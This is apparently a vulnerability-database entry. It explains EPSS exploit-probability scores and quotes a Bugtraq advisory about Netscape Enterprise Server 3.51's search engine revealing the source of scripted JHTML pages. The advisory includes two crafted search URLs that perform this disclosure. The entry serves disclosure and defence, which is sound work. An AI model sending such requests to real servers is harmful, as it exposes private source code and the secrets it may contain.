EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/559/info Netscape Enterprise Server 3.51 and above includes a search engine by default. The results it generates can be tailored using various configuration files, and one of the options is whether or not the full text of a resultant page is displayed. This option is turned off by default. However, even with this setting in place, it is possible to construct a specific query that will return the full text of a JHTML page (active content, similar to an IIS .asp page) or other scripted files. These example URLs may be wrapped for readability: (copied verbatim from David Litchfield's post to Bugtraq) h t t p://no-such-server/search?NS-search-page=results&NS-query=A&NS-collection=B&NS-tocrec-pat=/text/HTML-tocrec-demo1.pat where A is the query e.g. the word "that" and B is the collection e.g. "Web+Publish" or "web_htm". -OR- h t t p://no-such-server/search?NS-search-page=document&NS-rel-doc-name=/path/to/indexed/file.jhtml&NS-query=URI!=''&NS-collection=A where A is the collection without having to go through the rigmarole of playing around with HTML-tocrec-demo1.pat in the URL.
